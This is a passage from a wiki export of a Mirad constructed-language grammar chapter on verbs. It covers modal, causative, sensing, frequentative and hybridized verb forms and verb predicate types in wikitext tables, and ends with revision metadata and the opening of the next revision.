::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>3pcd2pzygwq7xpuwdvt8kgjyjwqwl3r</sha1>
    </revision>
    <revision>
      <id>4670493</id>
      <parentid>4670492</parentid>
      <timestamp>2026-09-16T18:54:20Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Expressing re- with zoy- or gaw- */</comment>
      <origin>4670493</origin>
      <model>wikitext</model>
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      <text bytes="135736" sha1="lil460b1a1mk448npbwgytnryg2tuy8" xml:space="preserve">&lt;noinclude&gt;{{status|100%}}&lt;/noinclude&gt;
== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
